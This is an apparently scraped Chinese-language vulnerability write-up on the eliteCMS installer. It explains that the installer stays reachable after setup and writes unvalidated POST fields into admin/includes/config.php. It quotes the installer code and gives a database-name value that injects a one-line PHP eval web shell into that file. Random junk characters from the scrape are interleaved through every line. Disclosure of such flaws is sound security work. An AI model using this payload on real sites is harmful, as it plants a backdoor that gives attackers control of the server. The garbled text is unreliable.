eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
% S8 |' _& Y' s# b2 T
, [% W0 T/ k( B3 m: ^& Q另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
3 U, k0 {, b [% D5 e3 t我们来看代码:
: P7 j3 j, F( d+ L
* s: m. ^; ?# g4 p...
$ r* p: \' Y0 Z8 pelseif ($_GET['step'] == "4") {* N: k$ W: v( i% t5 J
$file = "../admin/includes/config.php";
( P* s/ ~8 _( ]" B& c* |5 ~ $write = "<?php\n";
( \ v' m2 K, R$ @; J( @ $write .= "/**\n";
- l8 \" [2 h! Y $write .= "*\n";, V& G, {, x) N% X' G3 C- {: ~
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";$ K" a- n8 f' }
...略...
4 K2 I9 f: K7 t9 K& \& ^- f $write .= "*\n";
( F$ t3 Q6 ]; Z6 k $write .= "*/\n";2 f" b9 O, \& P1 E- m& G( v
$write .= "\n";
2 @; b! J* [; }8 c9 x $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n"; K# ?- H: j" z8 c. G, o
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
" D) A6 K- u! f* l) D: F O; _ $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";. X0 O3 S' c' r: g
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
7 k/ Z. j, N9 K0 I1 I* w $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";0 h/ C! Q% ? Q* k1 c Y0 s
$write .= "if (!\$connection) {\n";9 }7 Q/ y3 C/ h/ _. I7 s0 b
$write .= " die(\"Database connection failed\" .mysql_error());\n";$ { y9 z, q( D: f
$write .= " \n";0 G0 R. c G" E) S4 d W) G v, B8 p6 ?
$write .= "} \n";' R2 k4 c8 ^1 Y9 V& I
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";: d' V, m0 P/ b8 U( E
$write .= "if (!\$db_select) {\n";
8 o: u+ M6 R" y! Y) I$ g4 R3 @ $write .= " die(\"Database select failed\" .mysql_error());\n";) v5 v) `$ C. |0 T0 m/ ?: L/ T
$write .= " \n";
8 F+ D" [ k7 _# `& r $write .= "} \n";, Q% m i( T+ r+ ]. \3 `- \ u
$write .= "?>\n";
: t8 j+ x5 ?+ i& |" Y, ?
5 t" i, u `. q& T9 Z( w $writer = fopen($file, 'w');
6 P6 ^9 |' N ~; {8 A0 _# E.../ O7 E2 ?; I6 @
9 g2 f+ M4 u7 ]4 B9 v在看代码:
$ i2 G, u. S$ b/ e
8 w4 D: o: R' {7 |, z- N$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];$ r0 _$ P8 p) ~9 V4 U5 `4 _
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];8 ]( E8 @" P; i' |# U' U V9 F
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$ t- n3 G( o' t7 |: E0 L' w) a$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
. Z" q/ [ e5 ]/ \" q ; `% Q! q2 x0 b1 x- j
取值未作任何验证
- {5 R: I+ Z" i, \! k如果将数据库名POST数据:0 \: A4 O' U7 q' B" F+ i* a
}1 f! Z4 P$ u0 B"?><?php eval($_POST[c]);?><?php
: _5 |- |' L! l/ v# U' \# }7 | / `5 `4 u8 x- e, G% X! c- ~
将导致一句话后门写入/admin/includes/config.php
, D n4 i' F6 D, H2 E0 O9 v7 { |